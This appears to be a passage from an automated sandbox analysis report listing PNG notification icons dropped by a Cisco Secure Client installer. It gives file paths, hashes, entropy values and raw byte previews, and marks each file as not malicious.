SHA-512:	04F9B9B5EABD33E318F6A83A734ECA67C2778745560F44F45C535847BF642B33DB2C6C974CC7A6AAE4C68C67470135B15ABB2A77247BFF3C518EC113FDFD8888
Malicious:	false
Preview:	.PNG........IHDR...C...@.....A^......pHYs...#...#.x.?v....IDATx..\;R.A.m0.3...8.C...o.@'.D.%N.:."..q..o,...@........~.Z-.....J.}fGo..t..h.jB.D]"b.#"zCD..+.D..,.,...X).q.......:.."...}#.Y:X.........!.1":...1w.`9.=p02.$bw..VP....C..M...F..`.\....w /2.$..5.bQ.^.C[.X.t.\.N..8....[XCQ...Q&.<~...'\C..s.j%.d@ ..8..y.0.9#....0-......q...]..1../....).t.<....L.V....@)N..HQ..+B....9W\|d.K..^8..W2-!.}...... Z...e..jB.).9S..Uc.PsF...r...n.+.....:2n..".....!l....E.%'.I.......!$.."._........H...?.....HD......7F.u.+...Ke.+.S2`.C...M.........2F2.p.q...ZU\$..E.UX....p..4M..f.Pb...2..k..J..,.D....e.E....i..zc@...tX...s.t....>4"CM...47}....p...\..x#.(....96.yd...._.@.6...C7..2.P....QD...3...7z..d`...3..]...+.b.`k..5....I.#K.V.%.F.h6`. f...g.....G..l....~"l..17.{. m.......1S..$z@.....4....5.........ks.E....._....52L.T.....m..`..;.r....&..p-...}.s.l.S....d%.q..[2...a.. ..\|..4.1...v.....j.\|b..d0\.....{..6.E.*22.S"..JHa.U.\f.. c.m..!t.HH.MS.sU.P&.Y.!_2.^..V..(S..=

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_amp_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	14308
Entropy (8bit):	7.981829207860698
Encrypted:	false
SSDEEP:	384:XybKkbzXX5gnaVvNX5HqQiVAlwokisiMCb9sdP4++2SC7a1Rj2:XFyBr5KAworb9sB4Yi0
MD5:	1FC5657F3DDBAE57EA997277C9D6488A
SHA1:	2C4A261FEA797112FF95ABDB008435329BC8C048
SHA-256:	DC39DF1AECA15B0BAD3E15D05CE917D3CB7CB00C4F363BE67AC5741F82E5A57A
SHA-512:	CA37C34378244C91AC316717B1DFBA2E3D596918F9000710ECDF503728C2C207031F71224410CE661AADB59DB5272EF993A0826E96D311784F32BDE7BA125440
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....{.......!.}V...U.`...Z..X.....j.j.\!.V..P..........OM.AhQ.l.[5... .\ ,.{~s..g.=g..v....'..ef..w._J.bn.)(.-$.m....l.....[k..47..G..v....W.5...5.Wz.....'.._6@.$@....>....].g.....=..G......V$;.'..........._6 .$@..WY.U....)q;U+.V].[..qR..a..T.\O...Y....u.v).q.-..d+..]...._s<.X..sJc.TO..v.G.og....Z>T...'.`.[.x;....l....>...e.:.x...\|.n.d.=....2.aKt;.....}....W.B/<6%.D......?q....I..:~..}a.d.`'a....+R.')8..\|j.....W.s..w.\|.I.oy:....'aO...txa...w....M.)..!q.S.>g1..+V.{.wL..eO.x.......a...k#.[....^....b.D4.z.....X;..e.d..O.a.D...%...+H....u^.{..vm.....c5.Kl..+.V.....&.n]:KO......l;...Q../.r.U..........6n.....p.^...4.......1..].i..C..%O.q.W5.4....;..h..].I.B.(....-.ex..:.l.....i.N..qp..=...I_..8.E.I.j...R/.i.1..x.............?.&o......W.57.5..t...E..%D.<..@3N"*..b%8Q.1..1....V.B..8Q.o.....).<...1.T.x.L...h...KdOc..V3..E...Z'9(.<.U'.D.....MY........4...}...R.rL........g

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_amp_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13810
Entropy (8bit):	7.9753795366170355
Encrypted:	false
SSDEEP:	384:9UvTt4Skm1eC/3ndqwLk01JZ1GUhDYLk6pb2IloPTCDnnd:9qeSXeC/7TYpb2jSnd
MD5:	276699732D96B797E30C6092A6B9A3C8
SHA1:	9430D64617EC4CAA2895D0755824E556568FDC70
SHA-256:	217DD0FA6E750A6E5E422744ED0650204519942130254825CBE87B16E5E5AAAD
SHA-512:	884D6A9A105697FD5F4F4032FA14C967826937D42E6B88FD6D8DECC3B03AE0296588CF1D093673765C16CD65872405F52986303DF2453D50DDCA6F540082DA0E
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....B.R .w4..-.p-b..o".....`U.R+.+..=..<....J.b...."..U...ATD.....R....G. ..Nf.k.^k..k.%........3..o}..T...y........Pkt......r..wj_.~z...^....l\|2....L._...>.I.../..^...N.6.$...:Q.N.iK.........V...X%N&.[Q.-c'....W.p,~U..-...S.....N.z~.w. .....;..<..>.?..._oK....w......3..[U[.....o.?..U.>.[...lR...D...u.w.../n.Y...{.x8O...M,......;.d<..1.._7).D&`.....N..3jx.g.S.[....N.n#..^?H...x.'.^}.i......_H.....I~1..;.S....;;.......x.w...............~@oly.;....F..]...i.?.P.6m..Q...#%.%...$<.p..W]...'.A....._uL;.o......_~.>........L..O.}..b....I.Gae.n....U..Y.6m.....+.-4.;.].............p...A..g.../...N..+(.$...n..S..&.....\z...]..y..v...?[...=.NZ.\....#.J*f.q`#..H..W.45.V.{...G..<IT..'K.f;Q.Vz.....u7.W";AT....1.-_.$.'d...-.<.c^o%::..L.%N<.+sLVc,.q.^'..i5&/.6.....i*...Y.N......4$.!(...p1..6U..._.8....#{g.A..@.R.#..)........i............ ..F..S.......Qf.~..u..9......M..cN:.7F'..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_amp_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10811
Entropy (8bit):	7.9725003667897125
Encrypted:	false
SSDEEP:	192:xGW6GZ0zrJJ+M0jTsGzV2jysFfqybOB4twma2iNrHbC4ussE84u:xMZUTsGirFioOBg49VvusV84u
MD5:	A805DED6582E8382AB22EAF761559ED7
SHA1:	2C5C4C718AFC5566FB5D6B458CAFB04AC96B6A13
SHA-256:	393968B4F0F62527169D0D3DB56D756DE094D6F91252536BCD08770B83C98446
SHA-512:	F47219CE8D631FB79BF9FF67D24B57253A5F56E2DF98A35C5769D84A101E6E6ADA66D2B2E1FA6B1141087060200F97E48EA01B99CBE9B81FFA727E76ABA07713
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx............`....L)VT.U..Id.`....jt.$.M...`m.........+.T4..8.....d3...^..R1.Q.K.5+. [.....sN..}.q.._...........$+.D..Rm.O..`./..=..?"........n..(.T.6.I.......sg\|......K............x...p'.V.....6.........w..d..v...S.Yiu ..xf....!7."t.0........F.;u...3.y...........\...Yy..g...w...........=..J{.7..G.<..>..I."........Lwv..s..V..[.;.v0v...].....o............'..e....9=....?(........g~~O.@..........\|<.A..t..o.....f......K.z.'...}Fp.... ..9x.......U...e..m..;...R.@x..^...Mas.Y.=.?\..{.us.. .Z.o:..L..q.Q.>.?.........1ET..5.\|....`.P...AF6_.R\|.=.{......B......w..s..k.%3.....3R....3H....&._1.L8.,ydq;y.c....6..7B..+.8..l.'=HR...Y.!j..<...=.>.<.x .w..M..._,.x0....q.,.LB. ....6.yxh....\B._..\..E..k..}..o}....[.6/...0z1.......v.D.s3..L.LV..%.MJ$;P.v.\.=..L...J..$......./....H.....x^.m...l/-.....<.-,..e..cD...;>g....0..Z...n..@.0BZ.3..x......,.9..?}.....d.....H...#_.....S2QZ.._

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_nac_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13727
Entropy (8bit):	7.982847912604664
Encrypted:	false
SSDEEP:	384:63aRGz9MobH6FYdTA1tjCtZPXq5Sc5Li2H2E:v29jH6FJ1YnyLii2E
MD5:	2DDF6BB80F9B33B219E448F37ED394C0
SHA1:	BD1D1397D9011D9CF81D1061095CEA39C81AEE56
SHA-256:	8CB70AAF7D9D0C98AF0E6C640A78A2D4CABA2DC3DA8876208AD9A617A6E7A226
SHA-512:	00E86EDC454CF26E50D8AEEDF2CBC031E79F609E280E27FA87381CE6C7F9F6A8611FFC6EB1075BE271F0E864EDAAE89FDB25502BCB34C66412B6504C370154CF
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..].t...7h....k..B..S......5Q.O.l..-D.....K....j.X.T.....T.....66..D,X.B..J..@...}...3.s...{.\|k...?3sf.>..oJ..^..-(.BDk..o.<........... =......"......\..{.....q..-(N.T...UZ.y.'p"..=Y.Ip.....K.^.:Q........E.wp..+.$..3..]...0.J.....)_......x...\M...1..$:.{B....0..e..]0..Z.Y.]...D'...k...p~....3D_.O,;..O..../5....#h..?./?8..[....7..#.....f.4?e..}..j\|e.......'.....d.N...b./...D...p...h]._S>9D.~..M.M.....M.\|.@.-.Rr.$..k6.....2..7..v.L.?.Vb=...tl(...1x.._.....fJ$.C.......go...6.c....m.^.N.L&.....}/.j.})_......[.\...k5.....{EK...."......m...G.:.D...\w.q;.p.*%`.}..g.x.D/.c............HE%".d..?..'...DB.......U...<....k....y..N...8...f=..5. ....qO.[P.GD;.h......y...b..... .TT..}..:....M.l....w.wG.h.3....S........O..M...;.wF.p..xCt..T.I.2y)v.Ip6....`....H..V...mi...?a.F.Z2.(%....S...y.W..A.$.}N..(.....m.I..7e.....dr..=..n.7.-....I........L..5y........->1.".R.x.......n.^...Go.9~.!.-....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_nac_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13633
Entropy (8bit):	7.975971786407776
Encrypted:	false
SSDEEP:	384:6MOtUX/uOlpyiGD809Mt039VytL65doCQc:1NWFl809Mt0j0Lap
MD5:	9C88E64458F50120E89167040B55A41C
SHA1:	8A43DFC4B9ED2CB460A024562405302468185A09
SHA-256:	E1E3C1C59B21F0F49EC9DB747C14760EC2068394F739A2E456F20A25E40AD24D
SHA-512:	7EACCCFC904D52AA13214757309858F4083F5CD8C06D6442F3C3F361A2AD01865C4A816240F3B87B63052F33AB96EB08F0C504A1CF0110C569D64350948B3BD8
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..}.t.......KT .J.(..U".T.`..+.U.D...`.....G....V[.&.....m.JX7...A.>..G....^4....8..g....=..I.[...9gf.\|...c......+\.>..8^E.M=..O....w\|.U......'..5G.A...].......h.......7'.....3=9.Uk.Hi..9Q.9o.E.^..F.^.......+I.......8W.E....w..~...&..?.............7..-..FAO.S.......>.A..:.....d.Z.(.=.{Qy!.Fz....q.N.p..+.....\DFp.c...x.y.....u.7.&................kg..{.g.../...EL .......E..-...#.#.....f$g.v"........Igup..E.,b:f..Lv..#/&..oM.l..G..z^Q.<...f.^]{.[.g...q.X...._.....s.d..(0"..<...V.8q....CM..N....yb...{.i....d....Q....c...{.z...x..D.Mi....<'...#c....G..F.......CM).9.'...n...Y...zz..q..l.;.j.w...!.F..'&........!z\s._.j..u.Q...].k+...(...R'.H..B....(x.R'.H...-.N.8....\|_...!.Ks.>9.yf.^@..P.O..../..^..#.j/.......w....c?op.C2q..:...$#=A.n]..i..y.'....tR.D...5...T.DO.#..U...}"\|\..S.qH... .H[..<..]..V...u(.0O:2.X. .....>.S\.?.$...Ez.....$..<.. .=..paR.\|...8..T....]......./...IY.......O

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_nac_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10710
Entropy (8bit):	7.9641316394298025
Encrypted:	false
SSDEEP:	192:Aowo3FbryCXdxyG2En+b5eUJf1Q6pPZ3LxElBt/wVUuv04YKmECa:AowqbrvX3h1+b5eMdQDY3v0da
MD5:	5412237E7D26A5CB2F3F8891B9E36462
SHA1:	778ABA750AFD4D5518A5B7EDE1F73E7A016883C8
SHA-256:	288C513CA8875B4BC5DB6144D0C4215680F5BF3385DF05D6A8EC2896587DB6D3
SHA-512:	BAC0482951830571BDAF8A1FF0C23B3EB1C6AFB72C46628150EAEE2CD99167FEBE9A74DCAA2F2DAEDA5B58856BA7A9378880A7EB0B5D834D31EA91D3010B41F8
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx..]{..U._<..Th.CK=..R..V.GOWH.G3"8.5L.....;b............3.:S....s=....G].vX.w....W....Z?.^{..k..{.........w}...%y`...]...B6..........K.S..j.G."..?>.c..~../(/&}................p..B~..7...t.\... .j......,.......;.]M......`.o.p..?...98.c.%.6.....g...&.............;..F..!.fL%/.j@:.`.o....5_.b2...5\|h...UoI/....W..W...}.....<.<\0.p.N.,Y......M...KI.O"C.x.}$.....=.V...E.........HT....Ep.m.~.[(....Y.f.'g*_...NG..S....m.2.<..[.(G.m..[.1....S........\|...[.o.#eW....F.-.a.+...^.Rp...L.ue.<+./.......?..Lke.b.r.....V..G...$..6.]:.s...+..F...#O....=Y.;..g..l..,c....DWw.hB....B..l...`..;".wV.#..{.q.........v.].Z..C...T.`.-}M#...........{.(t.E.Om. ..=My..V...4.\.Ep.........W.)..x.W..f..7{.IG..-.....Z..{.l..F.,..f^r...V.9..H../.....$.&>..U...Msx.68.....S{...Z....v..v....O,.ps2E.......>..M_.........6H.hl.;Q.d....h.H...V..W...iH..{..2Q.zmp..;.Z~].c.!.Y.}.6.P......^kC..t...V.0.^.l.NMp..o..Y.8...Q

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_nam_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12252
Entropy (8bit):	7.977665916091742
Encrypted:	false
SSDEEP:	192:wld0FFxadXOHqBRtSDkAW0C6j7dNirKFbu+MMIxh0kOeg+Y/meTYeJlJlFrQ/:2oFxTqvt4TW56j7uraNw70kkHd/Jnk
MD5:	864800C5743CB649C4616758EA169E4F
SHA1:	3A02818977AF60D5DA37011CFC35DF11FC467906
SHA-256:	EF07FC7A9E194C9F076CF86C65E292816AAF666C00400A0BE8F70FB7740E902B
SHA-512:	ADE99880BB1B1A1FE3ED348AD625D6301FE8631E594E1CCBBE8678245F5B1EE2BBF93BEF7101698CF909E93CD4BBF005DD20466D3A278A9CACE91B324A23A48B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....&......!.O....Z.(.....[p....w...X.Hp.uKp...&.+V.....A/.S[.l.....j.}...b$...M..gf.9..;7......;3g......)WH.]....>.y..t......6.O'N..8.#.v<..Kv........y....;q.....(..mG..8]..G...]...."l>........vd.C.....nHp...v!....Ks^?I.T..1%.U..s/...+.I.{Yv.2."/...`.p.........1?8L."lDo.e...O/..~..[..o..>. .o....-.=.]h.g.Y.......F.4g..../..x.......C.?..#...%.2...PNz...............-...i..8}.e?.......]~... .......t..l...FD.g`........3g\I.,ZD.7.+.....:7.6....J.T.?.f".....8.X.:2.j?......LK..G....h..l[...v\|...9.[p.6.<....$....\...^.o....Ti../.{.HQ.ID...o.jl.A..(......./...".6.'..V.....T....~...I....,t..Hh.zT.G...njG&...7.MIE.g....../S...i,..Z..D.D._..H. ..3......Y..2...O.........&.......)?...%.c.........eG.o..I,.N....wI..[:......./..+B..$..]l._..T..2<....;.v.~5t.I/..?..=..&.....U....L...L.....\|...0...w.....V....-.x.D..8...K/.d)......kj."......g*wo}\V.Q..8.).....?'..wP..?5A....K.1?8...e.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_nam_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12258
Entropy (8bit):	7.976396258951981
Encrypted:	false
SSDEEP:	192:Fkocto5a0L5W0WyUW8l4JGfcRWyryRN77YK/CPEyei5rTiKb9bdgih7OnT:Fkocto5zW0dNaAfRxKK80dbd5hanT
MD5:	33B3721B931071C69A9ECDFDAEF39F29
SHA1:	EE4DD7077CFDA9C0A2FE594CE8C9496EF23CA2E3
SHA-256:	55FC14B826D7F3C9F47F14CDBDAE488F1D4FE3678CD95BBBF7E643436F382D37
SHA-512:	B8E1843F2F08ADF93F7277FFAF8DD5299F7F5FCFA38AD15EC54422D4E3048822E15BB9D0B682D1728B6E4064CAE32222998ED48D41310FE7D9C58116D6D9E108
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....Q?.....!.._..t]..$.`W@..Z.......]..h..B.n...j/.R.~..P`..+A..-J...o..u....9..3s...7....+y.3.<.<..%....5.....Sv.o?9p.....=..t....~./,]ID.>....O.p9.T.6.I/.......s'O...}.....QkS].y36."..P.../f...E..Y....n.h.K.uN2..zn.....M...Y.n?.....V(G......o6.....n.G6........O~ai...hn+....s..3...3...........X0.t..o....Gr.w...../{.l....3"..d#s..]..S^...x.7\.xtk7.k....f..8.....MMM.......At...'.t1......c}...k.....U....b]dW.=.k.=.o..a...o....v &T....-j....q.o.5=....w.2.v.&U.37F..WG...vn....l......S...g`'./.\|Z....lSP.....ji...N.<..6f.u^.v..l;)F...$.....E81..F7.i..h.+.2~3.SBD..w.q/...z+.?..........^.S.(.3f..N.......km..v....#.H7..S&0J/._XZ@D...t2a.........tD..#..]"s...J....\|M....?..tLH....&.8.\|t.H.\/..O\|C....":..E)Q.R.....<?...M.}............1..3.....]5.w+....W.>7. .j..>..,b8..c..v.E..........;.\.:];.I.S..CE...c..._...........r./e..C...t..7.yLJ..{_.z........W<E;f^g....O2..>\|.n...o..7Q.d.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_nam_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8950
Entropy (8bit):	7.969730039207073
Encrypted:	false
SSDEEP:	192:p96ObyGv4LCovtazAkU/bm8oT+4UObs9KhHU1gL3c2/Rqw:tbtuCovtazCDdxObJ5UM3hh
MD5:	4F8EBA018E164B7A5FFDA205576989E8
SHA1:	56669FFFC614C2577370B0EF84EA6EA4FFE89858
SHA-256:	815EACDBC62FED323EB3D0BBAD4596C0D699862A66258A4F994B78CE520389A1
SHA-512:	F9CBDEE29FD372DEA72C6039E705A192B2C751927490B811317CE74A56DBEF1B4C17D05D1CC29A32F060C6A761D93CDB5D2AF6C76853427F5341D7C6DA4F44E7
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx....]E......m..Z.o....AZ.n(>V.")1.-F.....m...l...b\.@....E..\|......'%.RA)...+.e.}.%..T6....3sf.s.s....{.;.7..7..)..i..i...~...?L.v....o.h..\|..@<..vR.....ILO ...N..<'a.N......N..bs..!..<,c...}b..U]...../.L...=Enx......V.3.}r.)o.u..\|...+g.Hu......k..[.$&z...G#o....o.W.`w.T.5..~=..........V..;..$`.......=zf..Di_....D...r......W].}":..w\|...=.._.s.2`r.8!.l.\|o.......;hzy..n.s.0..+?3l>....Q5=..:6....L.<.l..x.......{.O.mx..R..i..$...\....#..^7Q.>C..........$..`.=...*...~....oc.e?._q......c}.......G.'.=....<..!X5.....=.8........N@..1c.Q.....5.A.]...)....t7B.......=.V...vn...cGNbr...s.1w...g[....e.6U..{..\...N"......0:....WirR.IL.d...JQ..9.....^/.......Gb/>...z...M-..2......(1. ..$.g..Y..'N... .-)...2...S.M.%......$;.X..R..C..m.m'.\|wK...4[..`.....!..o.....,..u..4...._}.....l.O...3.mn..Y..m..M..Q.9..Y...N...!K.?.D..........!....x{d..=...T4.i.M.;.NGf...^.s.....T_&.%...7..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_umbrella_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12436
Entropy (8bit):	7.977312501768235
Encrypted:	false
SSDEEP:	192:9duiLviw1Tg2WOFeuMhEhKPewOSJKVBpFGo5cJUs1P3X3cI78saDjy6Z7KiasZM1:7vJ0OYhbPWEKLaoe9dXsI789HZTla
MD5:	3F1083A6458C2CC3E9743D03ACB0D349
SHA1:	280DA65E961DAC251D6394A234E92FB110DBC998
SHA-256:	78A87D7B4CDA2E04CF4A608C78CE627450E15CD75AE121B4D72466837197D096
SHA-512:	250604CE42BD866B870A50B01E892036364DBBBEA1AC58EF60B3E4E38513A9DADE3987459FBD83681435D74521B368550DFE329E70CDD84837BAFCD2E43B53A2
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.xV...c....../\..T..@.....T.`.d....H.H..^F.@...!.X.x.PqP..{4...4.F.I.......2....".?...f......._...?.u.....}$,$..._TZH.9H..q....5...[.[T.#=.=..._...s..R.0Or..5eCl...g..e7.+z?eE........6.~.";.y....W.(?...Wf:P..gI.<b.Lr..Qd..........\.A......t.`,._...u...`/.........!.{...T./...........+....>C......8.....[.. ...WNQ~.;v..3...b5.l...\~....+R....+.. ........`..........{;v.\|Ry..x..UQ.&..%..$....>s......../..2..\T..Y..G#......x....W\.DT[.....v},]I.Vr.m.....x.......1.cu.D...bO:...6...,[\)=....,o..o.a.(.".....&.D.......=x...P&.........".}z+/_..X`etu..J......1....A..;...B...{.....M./Vb....v.T.a..3.....k.....T..JC.u....`.[..(R..........{..4R...B.8...vE...}w5...[.....F...3pTU{k.Bz.L....-T...T..?......\|Py0..&.J.\|...........{"..3pT.V.r...PH..R..M5V..AB.8...R..A.\......(3.p;..\.h.m....p..Q..'ok...O.6.$.....g...J...0...?O.~[[.),,4..N.......M.....cb.jT.JU.e..........1..({DW....K.*,=..!..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_umbrella_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12780
Entropy (8bit):	7.975972884511595
Encrypted:	false
SSDEEP:	384:eS01CYt7F9/5i2XPFK02VBVDNP/RqOMGkw9j:e1th95PqjP/E1A
MD5:	1CE2626120CD6B69683255C71552896B
SHA1:	4230DF12A00E6B13CAB39EFB1C44DCBF5B656087
SHA-256:	B55ABBF6754B131C33947DCA3511D219B2AB2DC5D7E8945BF3C6A2E9FB0FEB23
SHA-512:	A197A76FB7DB9FEF68E3A49DE4C134EFB41472773F323BF4F8AB3B610174FD75C15848BB42CFC2D4240D72EFA66FF4CFFE02DDA28323279C87C7019E167F724B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.tT..7>rk.....I...R.....6D../...T@..._.A[..$rkA.D..U0......W.EI..(...^.TC.TX>...eD......>{.>g...d~k.Jf....;....G.BB.<y..#N.6.i}......#.~......G.~......s..~...5..V...N......'.=..$.........K..a{.c.........:...3.....:.L...KWu.{.._..../<.Z...n.y..../.e{.i.3.......[.O`\|..h.+../........M#._....s..G.3hO....j.._&..?...s=.<._\~I/..9....W..I.....u.tq..}..7.G;....h........f.G.v.h<....c...7.0.1....d[...^.......D"1....[.ilC..=@.6.U.O0.......P.......D.t..K..}.6M._*.....6._:h.'.Ix.htP..l.N.4.........$.m.......:........+..o<.../Ly]..p.....+...y.._.........t..........7..g...D..Y..A.........n.....9.....D."j.9....>]p.ly...........N.<....IaT..N'S..'..4.Nd.ntN........;..<d;..^..:...0...m.?).....Q..X.`).......%....!...........'..'...M2M.?..D..3{_[....jdpY.tW.i.....5Wep......Jj7....IJ....g.?M..).\}Bkc]....~u...~...w......!.x..w.......;)~NL...L.;wN............\j.[.N.Dt...EB.c:.....b..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_umbrella_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	9482
Entropy (8bit):	7.969513879342907
Encrypted:	false
SSDEEP:	192:LXNXFLy+vMbgQbCoVANBzT84c2blwwjla7:rNX5ggQOoVIzwHwxA
MD5:	21841588532E34397E478E791A064F2C
SHA1:	90C0BEAC3D3A1288FB7BED658835BB6710E67922
SHA-256:	9D0F626E21D3324BE7CB473D44514737D9A9145B86E73F67EBFD6DE308B36FCC
SHA-512:	B0006DD98C201AD06F79166FD53F67C61C60C48C1506153EA47AB7F38A7D4F6CCACDF9E369AC0EFAD36B396786EDFD1FBEF8302D1F2B1F82BE6D784936ED6CB0
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx..ml]......$..B.^..R.BI.mPB..i..B.I.D.B...i...b7M...B...TI.CU..K...6%.\.5...T.....B.iU....U...x.d..y=g.9...dp..{.s.y^.y!e.1....z..BN...........[.~..X......Q.PO.w.!......k.d.M........x....y....<....O.oe.o."<...d..f.&2..".....(..{..}..C....]y..).xq.]...7....M....{......:'..'^.......9..0.._..~....#3.^M.t.0.....................\v].3.b.....ONz{.._..........m_..\..5W.buE...q..>...xE.+qA{E>^._.....f(...p5..s.fgI............_.z./.+V.>N.....D..). .q..9..!..9#..-(...^...G...].E.l.>..2...o..t/"C...x.\........u/ S\|R..)-WMK..1..\..{..&..w..V.^...U8_A(l...Jp.....y.#..b{5:...F0-..N.c..ne..5....&.Kf(j7O....../0..N.[K.#Q\|.K..cfjb;..N.....8.{....n#.j.O...Z._;.m.jWfp~.............. .w.}.<....\1X?+..4bi]..H)../.".....f.&N^......8..S..]...3..Cn..z]l.,........_...ek.e.F.-w?....i..i.B&./..........>.\|r...Ii!....Q...t2._..HHCBx..B...<?35.J.....V/..s-...[..k..V.v.a.50..teS..w`fjbm....qC.....;89+!/@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_vpn_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	11747
Entropy (8bit):	7.9792800328394184
Encrypted:	false
SSDEEP:	192:6O6eUrSbvYvQ77S7PmrQJhWxQLVBinCEBWLp41ZvPaiTlShB9R022uRx1ohfiq:67RSbAvQyCED4QLVBiCLLS1hhMv022u6
MD5:	49E51BACF675B9DF74CD84F600645F0F
SHA1:	563FBED61D83375EE51DD85FD7DC71B53D048ADF
SHA-256:	25EA8BC480B6E97548BD3F64ED6128686C06CAFAA772025B24C2F52CE39B137A
SHA-512:	3231ED2D95E3B2DD1AF2956D3FB29EC7D6AC2D8A5FA6CF12DDA967BCA25CBB3D69B393265B38592B8DB62CC93D55903BE827BD5AC5E119DB5D80E2CE54DDA084
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...x......._....<Ih.^.....s.......D....[.....H....z).J..j}&...P.B..l..NBD\| ' ..r.&3..={...9....Kr^3s.^..^{= ..............M...v.{.l._...e~...H>.4}...w.gpq...>...$..C8k3\.....>.9.. x...g......R..u...~.y..i..F....<.i......b..r.4..j.d..Id..7\Q4Z....H..=.5.....7..A.X_.~-V.n.8..J.X/...jK..ZX.\.00N.(=p...zA...L}.~......fN.{.L2...e........x.s..t.......-.5..{M.i..#3g........; q..!#{....... }....t....1..N.....1.r.....h..or.".q.8...t..'..&yL..9..M.d....k....c.j.DO...]x5V.6#4SX:..R#n..f...S....sg.7..~5q.`....y.....9...d.o.xL".`..r"..&.3F...B!..B.......).U./...?..... .....7mAZQ.j..z..p$.o.v.=.@\.$.Vh...b.........\.y....:.d.5.9.R>.9.y..q"....4@..{.Qi.J.[...........W.6G..4BO..E8j..a.t. ...............o..%...w.+Rqb..PFGkt..)..z.c.B..+;+.7L......V......0.....*:.[.@.E. ...W ....Go8..U.<&..G!8A.@.hY...4Ifj...Z8..+.U.'..F.ea..-Y.Q.,.w.......dA$".>F.Z.VP[.h].B.R..NU...:P....z...<....G.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_vpn_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12124
Entropy (8bit):	7.978101118980993
Encrypted:	false
SSDEEP:	192:6QcIfCBldrUhS+mzFAXOk03y4nRFoVKX22ZSsnVqzY5oarRl75w1/i5IxehvNbim:6QcRBld2S+m5AOTRaI22ZSgVq053t5ww
